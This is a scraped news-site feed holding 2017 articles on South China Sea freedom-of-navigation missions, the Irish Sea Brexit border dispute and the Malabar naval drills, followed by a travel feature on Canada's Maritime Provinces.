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]]> https://briefnews.eu/greenwich-stand-on-the-meridian-line-and-explores-our-maritime-history-in-london/feed/ 0 US sends McCain’s namesake to challenge Chinese maritime claims https://briefnews.eu/us-sends-mccains-namesake-to-challenge-chinese-maritime-claims/ https://briefnews.eu/us-sends-mccains-namesake-to-challenge-chinese-maritime-claims/#respond Thu, 10 Aug 2017 14:27:24 +0000 http://briefnews.eu/us-sends-mccains-namesake-to-challenge-chinese-maritime-claims/

The US Navy has sailed the ‘USS John S. McCain’ past an island in the disputed Spratly chain in the South China Sea, US officials told media. It’s the third mission to challenge China’s claim on the territory under the Trump administration.

The so-called “freedom of navigation” mission involved the Arleigh Burke-class guided missile destroyer sailing within the 12-mile range of an artificial island reclaimed by China, Reuters reported, citing US officials, speaking on condition of anonymity.

A Navy official confirmed the operation to Fox News, saying that a US Navy P-8 reconnaissance plane flew nearby to monitor the operation, but stayed outside of the airspace claimed by China.

It was the third mission of this kind since May, when the ‘USS Dewey’ sailed by Mischief Reef, marking a continuation of such operations under the Trump administration. In July, the ‘USS Stethem’ passed near another island in the South China Sea claimed by Beijing as its territory and contested by Taiwan and Vietnam.

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© Luke MacGregor

China is tangled in a web of territorial disputes in the South China Sea with five other regional nations, which also include Brunei, Malaysia and the Philippines. The sea is crucial for Chinese foreign trade serving as a major transportation route for minerals, energy and Chinese-made goods. It is also believed to be rich in natural resources, including oil.

The US supports neither nation’s claims and insists that the sea should be a neutral space available for free navigation.

Washington is accusing China of taking an aggressive stance on the issue because of its island reclamation projects. Beijing insists that the artificial islands primarily serve civilian purposes like support of rescue operations and weather observation.

The ‘USS John S. McCain’ is named after the father and grandfather of Senator John McCain, both of whom served as admirals in the US Navy. It’s part of the Seventh Fleet based in Yokosuka, Japan.

The mission comes as the US seeks China’s cooperation on resolving the tension over North Korea’s missile tests, which is perceived in Washington as a serious threat to the US and its regional allies.

China rejects claims made by US President Donald Trump that it is not doing enough to pressure Pyongyang to halt its rocket development.

North Korea says it needs long-range ballistic missiles and nuclear warhead they could carry as deterrence against a possible American aggression. Fueling such fears, Trump this week threatened Pyongyang with “fire and fury,” while media reports said the Pentagon has worked out an operation to bomb North Korea’s nuclear sites.

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]]> https://briefnews.eu/us-sends-mccains-namesake-to-challenge-chinese-maritime-claims/feed/ 0 Irish-proposed maritime border with UK post-Brexit ‘absurd, unconstitutional’ – DUP MP https://briefnews.eu/irish-proposed-maritime-border-with-uk-post-brexit-absurd-unconstitutional-dup-mp/ https://briefnews.eu/irish-proposed-maritime-border-with-uk-post-brexit-absurd-unconstitutional-dup-mp/#respond Fri, 28 Jul 2017 14:07:07 +0000 http://briefnews.eu/irish-proposed-maritime-border-with-uk-post-brexit-absurd-unconstitutional-dup-mp/

Border negotiations between the British and Irish governments are at an impasse following a report which claims Dublin is hoping to establish a border in the Irish Sea, effectively mooting talk of a so-called “frictionless” border.

The Democratic Unionist Party (DUP) is said to be furious following the report, published Friday in the Times, that Ireland wants the Irish Sea to act as the post-Brexit border with the UK. The DUP is responsible for propping up Prime Minister Theresa May’s embattled government following a close election in June.

“There is no way that the DUP would go for an option that creates a border between one part of the United Kingdom and the other. Dublin really needs to understand that the proposition is absurd, it’s unconstitutional,” DUP MP Jeffrey Donaldson told BBC Radio Friday.

READ MORE: Brexit plans in chaos as govt contradicts itself over migrant free movement

The Irish government has expressed a desire to conduct customs and immigration checks roughly 10-15km (6-9 miles) away from the 310-mile (498km) land border and its ports and airports. Former Irish Finance Minister Michael Noonan made similar suggestions over a year ago.

Dublin’s attitude has reportedly hardened following the appointment of Leo Varadkar as prime minister and his selection of Simon Coveney as his minister for foreign affairs last month.

“What we do not want to pretend is that we can solve the problems of the border on the island of Ireland through technical solutions like cameras and pre-registration and so on. That is not going to work,” Irish Foreign Minister Simon Coveney told a meeting of EU foreign affairs ministers as cited by The Telegraph.

“Any barrier or border on the island of Ireland in my view risks undermining a very hard-won peace process and all of the parties in Northern Ireland, whether they are unionist or nationalist, recognize that we want to keep the free movement of people and goods and services and livelihoods,” he added.

READ MORE: Theresa May to reprimand warring Tory MPs as Brexit splits cabinet

The border between the Republic of Ireland and Northern Ireland will be the UK’s only land frontier with the EU from 2019 onwards.

But the suggestion of a maritime border within the Irish Sea produces its own set of unique challenges as this could effectively cut the UK off from one of its region’s.

An average of 900,000 workers commute across the border on a monthly basis, reports The Telegraph, citing the Northern Ireland Select Committee.

The Republic of Ireland accounts for 25 percent of Northern Irish exports outside the UK while just 1.4 percent of Irish exports go the other way.

Speculation has increased that the hardening of Dublin’s stance may be a negotiation tactic before talks on a free trade deal begin in October.

At present, Brexit talks in Brussels take place for a full week each month, though there have been calls to increase the pace of negotiations.

READ MORE: Britain finally accepts it must pay Brexit bill on leaving EU

DUP MP Sir Jeffrey Donaldson accused Simon Coveney of “jumping the gun” after the report emerged this morning, reiterating suggestions that a technological solution could create a so-called “frictionless” border.

“I believe it is possible to arrive at this outcome. Modern technology is a wonderful thing,” he said on Irish state broadcaster RTÉ’s ‘Morning Ireland’ show.

“The Government has consistently said that the border issue is a political not a technical matter and it will require flexible and imaginative solutions,” a spokesman for the Department of Foreign Affairs told the Irish Times.

“The risks of a hard border are not solely economic or trade related. It is also about communities and society and there are many factors that will have to be considered. The objectives of protecting the Good Friday agreement in all its parts and the gains of the peace process are shared by all sides,” they added.  

Meanwhile, British Foreign Secretary Boris Johnson has likened Dublin’s concerns overt Brexit negotiations to the millennium bug fiasco.

“The whole thing about the customs union and the technical difficulties is all being turned by great superstition into the equivalent of the millennium bug,” the foreign secretary told the Lowy Institute in Sydney, as cited by The Times.

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]]> https://briefnews.eu/irish-proposed-maritime-border-with-uk-post-brexit-absurd-unconstitutional-dup-mp/feed/ 0 UK to send warship to South China Sea amid maritime dispute – defense sec https://briefnews.eu/uk-to-send-warship-to-south-china-sea-amid-maritime-dispute-defense-sec/ https://briefnews.eu/uk-to-send-warship-to-south-china-sea-amid-maritime-dispute-defense-sec/#respond Thu, 27 Jul 2017 13:15:31 +0000 http://briefnews.eu/uk-to-send-warship-to-south-china-sea-amid-maritime-dispute-defense-sec/

The Royal Navy will deploy a warship to the South China Sea next year for a so-called freedom of navigation mission – a challenge to Beijing’s claim of sovereignty over the area – UK Defence Minister Michael Fallon said.

“We hope to send a warship to [the] region next year. We have not finalized exactly where that deployment will take place, but we won’t be constrained by China from sailing through the South China Sea,“ Fallon told Reuters during a trip to Australia.

“We have the right of freedom of navigation and we will exercise it.”

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© China Daily CDIC

Beijing claims sovereignty over a large part of the South China Sea, a region crucial for its maritime trade and potentially rich in resources, citing its historic control over several islands. Other nations and authorities in the region, including Brunei, Malaysia, the Philippines, Taiwan and Vietnam, also have claims.

READ MORE: Armed Chinese jets drive off US spy plane over Yellow Sea

China has been boosting its ability to project power in South China Sea by modernizing its air force and navy and building infrastructure on artificial islands. The US, which has no claims in the dispute, insists that the sea should remain neutral territory and has been sending warships and military aircraft through waters that China claims. Some US allies have been contributing to the effort, including the UK.

“We flew RAF Typhoons through the South China Sea last October and we will exercise that right whenever we next have the opportunity to do so, whenever we have ships or planes in the region,” Fallon said.

The UK minister and his fellow cabinet member, Foreign Secretary Boris Johnson, are visiting Australia to meet their counterparts, Julie Bishop and Marise Payne. Such annual ministerial meetings, known as AUKMIN, have been happening for a decade.

The visit, which is focused on coordinating policies and discussing international issues, also gives the British defense chief a chance to promote the merits of BAE System’s Type 26 frigate, which is one of three designs bidding for a nine-ship contract from the Australian Navy.

“I know it’s a competitive process but in terms of the suitability for the task of protecting against submarines, this is the most advanced ship in the world,” the visiting official said, as cited by AFR.

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]]> https://briefnews.eu/uk-to-send-warship-to-south-china-sea-amid-maritime-dispute-defense-sec/feed/ 0 US, India, Japan stage largest joint drills to address ‘maritime security threats’ https://briefnews.eu/us-india-japan-stage-largest-joint-drills-to-address-maritime-security-threats/ https://briefnews.eu/us-india-japan-stage-largest-joint-drills-to-address-maritime-security-threats/#respond Mon, 10 Jul 2017 13:25:16 +0000 http://briefnews.eu/us-india-japan-stage-largest-joint-drills-to-address-maritime-security-threats/

The US has begun naval exercises with Japan and India, with the US Navy saying the drills will help the countries tackle maritime threats in the Asia-Pacific region. China says it hopes the cooperation isn’t aimed against a “third country.”

The US Navy, the Indian Navy, and the Japan Maritime Self-Defense Force (JMSDF) began the Malabar 2017 exercises in Chennai, India, on Sunday, according to the US Pacific Fleet. 

The annual drills are aimed at addressing “the variety of shared threats to maritime security in the Indo-Asia Pacific,” the Navy said last week. 

The exercises are also aimed at “improving interoperability between US, Indian, and Japanese maritime forces,” according to the US Pacific Fleet.

The trilateral, two-phase drills are held in Chennai and the Bay of Bengal.

READ MORE: US B-1 bombers join S. Korean jets for live-fire drills in response to North’s missile tests (VIDEO)

“The exercise emphasizes high-end warfighting skills, maritime superiority and power projection,” the US Pacific Fleet wrote on Sunday.

It added that crews will “practice surface and antisubmarine warfare maneuvers, perform medical exchanges, hold explosive ordnance disposal training, and conduct, visit, board, search and seizure operations.”

Participants from the US Navy include the Nimitz-class aircraft carrier ‘USS Nimitz’ with embarked Carrier Air Wing 11; the guided-missile cruiser ‘USS Princeton’; guided-missile destroyers ‘USS Howard’, ‘USS Shoup’, and ‘USS Kidd’; a P-8A Poseidon aircraft; and a Los Angeles-class fast-attack submarine.

READ MORE: Navies of US & Philippines conduct joint patrol (VIDEO)

India’s lone carrier ‘Vikramaditya’ will also participate, along with submarines and maritime reconnaissance platforms. Two Shivalik-class stealth frigates, two Russian-tuilt Ranvir-class destroyers, the indigenous Kamorta-class anti-submarine warfare corvette and a Kora-class multi-role corvette will be deployed, according to the Indian Express. 

“Naval co-operation between India, US and Japan epitomizes the strong and resilient relationship between the three democracies,” India’s Defense Ministry said in a statement, as quoted by Reuters.

Japan’s biggest warship, the helicopter carrier ‘Izumo’, is also taking part in the drills, according to Reuters. In addition, the Japan Maritime Self Defense ship ‘JS Sazanami’ will reportedly be participating.

The drills are the largest since the US and India launched them in 1992. Japan began participating in 2007 and became a permanent partner in 2015.

READ MORE: ‘Be more lethal’: Major Australia & US joint military exercise kicks off in Pacific

It comes amid regional tensions with China, with all three countries expressing concern about Beijing’s claim to almost all of the waters in the South China Sea, and its expanding military presence.

The Indian Navy has reportedly spotted more than a dozen Chinese military vessels in the Indian Ocean over the past two months, Reuters reported, citing local media.

India turned down a request for Australia to participate in this year’s drills, fearing it would further antagonize China, Reuters reported. Australia has participated in the past as a non-permanent member.

Chinese Foreign Ministry spokesman Geng Shuang responded to the annual drills on Friday by saying Beijing has “no objection” to normal cooperation, but that it hopes such cooperation “will not be directed against [a] third country and that it will be conducive to the regional peace and security.”

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]]> https://briefnews.eu/us-india-japan-stage-largest-joint-drills-to-address-maritime-security-threats/feed/ 0 All at sea: Discover Eastern Canada’s Maritime Provinces https://briefnews.eu/all-at-sea-discover-eastern-canadas-maritime-provinces/ https://briefnews.eu/all-at-sea-discover-eastern-canadas-maritime-provinces/#respond Sat, 04 Mar 2017 00:17:32 +0000 http://briefnews.eu/all-at-sea-discover-eastern-canadas-maritime-provinces/

TRAVELGETTY

Our reporter embarks on a thrilling trip through Eastern Canada’s Maritime Provinces

Where’s that?” asked my friends when I told them I was off on holiday to Prince Edward Island, New Brunswick and Nova Scotia. After explaining that my travels were taking me to the Maritime Provinces of Eastern Canada, the general consensus was that I’d need to pack lots of warm clothes.

But the biggest surprise is the climate in this part of the world: although you can expect snow (and lots of it) during the winter months, the rest of the seasons are warm and moderate, making it the perfect destination for a summer holiday – no thermals required.

After a seven-hour flight and a short hop over from Nova Scotia’s capital, Halifax, we arrived on the smallest of the three provinces, Prince Edward Island, which was named after Queen Victoria’s father.

With beautiful beaches and green rolling landscape, it’s easy to see why the French explorer Jacques Cartier claimed the island “the fairest land ’tis possible to see” and how it provided the picturesque setting for L.M. Montgomery’s popular novel Anne Of Green Gables. Thanks to this book, the island became a popular destination for tourists from around the world.

We soon found ourselves relaxing with drink in hand, admiring the stunning views across the lake at the quaint Dalvay by the Sea Hotel situated on the north shore of the island. The Duke and Duchess of Cambridge visited the hotel as part of their royal honeymoon tour of Canada, and the Queen has also stayed nearby.

Adventure was soon beckoning, though, so we set off in a kayak for two from nearby town North Rustico. With the wind stirring overhead, we battled against the elements and paddled towards a lighthouse in the distance.

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It was the first of many lighthouses we would see in the Maritimes – they provide something of a motif, alongside the Canadian flag, which is proudly displayed outside many of the pretty coloured houses.

Make sure you visit the island’s capital, Charlottetown, known as the birthplace of confederation, and stroll along the historically important Great George Street. Running from the water’s edge up to the beautiful neo-classical Province House – the site of the 1864 Charlottetown Conference – this is the path that the Fathers of Confederation walked.

We bid farewell to the island and departed, this time by land, via the Confederation Bridge which was built in 1997 and links the island with New Brunswick – conveniently, our next stop.

Our tour guide Anne-Marie (roads2sea.com) exuded a natural enthusiasm for her favourite province and it wasn’t difficult to see why when we arrived at Hopewell Rocks in the Bay of Fundy – one of the marine wonders of the world.

Walking along the ocean floor at low tide I felt like a tiny speck in comparison to the uniquely shaped giant flowerpot formations that stood ominously above me. Look out for Lover’s Arch (being sure to kiss under it if you’re visiting with a loved one) and also rocks resembling a mother and baby bear.

TravelGETTY

Cycle along part of the confederation trail on Prince Edward Island

If you’re a keen hiker, take a walk along the Fundy Trail in the National Park. Keep your eyes peeled for moose, bobcats and bald eagles as well as stopping at lookout points to admire the breathtaking views.

The Algonquin Resort in Saint Andrews was our next stop and provided the perfect base for us to enjoy whale watching – one of the many highlights of our trip. We headed out with tour operator Fundy Tide Runners on board their 25-foot Zodiac Hurricane speedboat with our experienced captain, Pat, wearing red flotation suits to keep us warm and dry.

And it wasn’t long before we found ourselves exclaiming “ooh” and “aah” in the presence of the minke and finback whales as they gracefully passed by, before disappearing off into the deep.

Back on dry land and after a good night’s sleep we headed to Nova Scotia where we were about to hit the water again. Wearing old clothes and soggy trainers which had been left behind by previous thrill-seekers, we tentatively squelched into the chocolate coloured Shubenacadie River and boarded another Zodiac.

While pootling along at a leisurely pace, our guide, Nick, explained the tidal bore to us – it’s a natural phenomenon where 100 billion tonnes of water rush into the river at high tide and reverse the flow of the water, creating huge waves that you can ride for fun! Not for the fainthearted, but a must if you’re after an adrenaline rush.

Thu, October 27, 2016

Canada tops Lonely Planet’s 2017 best in travel countries list.

10. Ethiopia

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10. Ethiopia

No trip to Nova Scotia would be complete without visiting the old town of Lunenburg, a UNESCO World Heritage Site. The brightly coloured wooden houses date from 1753 and as you wander along the narrow streets it’s like time has stood still. Check out the replica of Bluenose II, the world famous racing schooner, and grab a bite to eat at the Old Fish Factory overlooking the waterfront. Head to Peggy’s Cove in St Margaret’s Bay, too, for that picture perfect snapshot of the lighthouse perched on boulders smoothed by the Atlantic Ocean.

As we found, each province has so much to offer that you’ll be spoilt for choice. With a guaranteed warm reception on the Maritime Provinces, this is one holiday hotspot not to be missed.

Way to go

Flights with Air Canada from London Heathrow to Halifax, Nova Scotia, start from £399 (not including the connecting flight to Charlottetown, Prince Edward Island).

Karen stayed at Dalvay By The Sea (dalvaybythesea.com) with prices starting from £122 per room per night and the Algonquin Resort (algonquinresort.com) with prices starting from £108 per room per night. For kayaking on Prince Edward Island, visit getoutside.com, and for whale watching in New Brunswick visit fundytiderunners.com.

Tidal bore rafting in Nova Scotia can be booked at raftingcanada.ca. For more details, visit tourismpei.com, tourismnewbrunswick.co.uk and novascotia.com.

Ten things you must do in the Maritime Provinces

1 Cycle along part of the confederation trail on Prince Edward Island.

2 See a show or art exhibition at the Confederation Centre of the Arts.

3 Visit the oldest active lighthouse on the New Brunswick mainland at Cape Enrage.

4 Wake up with a breakfast bagel at Slocum & Ferris in the Saint John City Market.

5 Have a romantic dinner at the Rossmount Inn, overlooking Passamaquoddy Bay.

6 Try the Phone Box Fizz and the Black Cab wine at Luckett Vineyards in the Gaspereau Valley, Nova Scotia.

7 Visit the Maritime Museum in Halifax to see artifacts from the Titanic, and pay your respects to lives lost at sea at the Fairview Lawn Cemetery.

8 Stay overnight at the historical Blomidon Inn (blomidon.ns.ca) in Wolfville in the Annapolis Valley. Prices start from £85 per room per night.

9 Buy souvenirs on Lincoln Street in Lunenburg.

10 Enjoy some fresh local lobster.

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